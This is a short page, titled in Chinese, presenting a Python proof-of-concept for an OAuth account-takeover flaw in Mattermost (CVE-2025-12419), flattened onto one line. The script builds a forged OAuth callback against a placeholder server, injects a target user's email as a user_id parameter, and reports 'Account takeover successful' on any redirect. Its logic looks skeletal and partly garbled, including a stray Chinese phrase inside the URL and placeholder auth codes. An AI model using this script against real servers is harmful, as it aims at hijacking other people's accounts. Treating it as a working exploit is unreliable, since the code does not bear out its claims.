CVE-2025-12419 Mattermost OAuth状态令牌验证不当账户劫持漏洞

# CVE-2025-12419 Mattermost OAuth Account Takeover PoC # Requirements: Two SSO accounts, one never logged into Mattermost # Target: Mattermost <= 10.12.1, <= 10.11.4, <= 10.5.12, <= 11.0.3 import requests import urllib.parse TARGET = "https://vulnerable-mattermost.example.com" SSO_PROVIDER = "https://sso.example.com" ATTACKER_SSO_ACCOUNT = "[email protected]" TARGET_SSO_ACCOUNT = "[email protected]" def exploit_oauth_takeover(): """ OAuth Account Takeover Attack Chain: 1. Attacker authenticates with first SSO account 2. Intercept OAuth callback and manipulate state token 3. Bind target user identity to attacker's Mattermost session """ # Step 1: Initiate OAuth flow with attacker's SSO account auth_url = f"{TARGET}/oauth/authorize" params = { "client_id": "mattermost_client", "redirect_uri": f"{TARGET}/oauth/complete/saml", "response_type": "code", "scope": "openid profile email", "state": "attacker_state_token" } print(f"[+] Step 1: Initiating OAuth with attacker account: {ATTACKER_SSO_ACCOUNT}") # Step 2: Capture the OAuth callback after SSO authentication callback_url = f"{TARGET}/oauth/complete/saml?code=auth_code&state=attacker_state_token" # Step 3: Exploit state token validation flaw # Modify the callback to inject target user identity exploit_callback = f"{callback_url}&user_id={TARGET_SSO_ACCOUNT}&绑定的用户身份" print(f"[+] Step 2: Manipulating OAuth callback with target user: {TARGET_SSO_ACCOUNT}") # Step 4: Complete the OAuth flow with manipulated data response = requests.get(exploit_callback, allow_redirects=False) if response.status_code in [302, 303]: print("[+] Step 3: Account takeover successful!") print(f"[+] Attacker now has access to target user: {TARGET_SSO_ACCOUNT}") return True print("[-] Attack failed - check requirements (email verification disabled, OAuth enabled)") return False if __name__ == "__main__": exploit_oauth_takeover()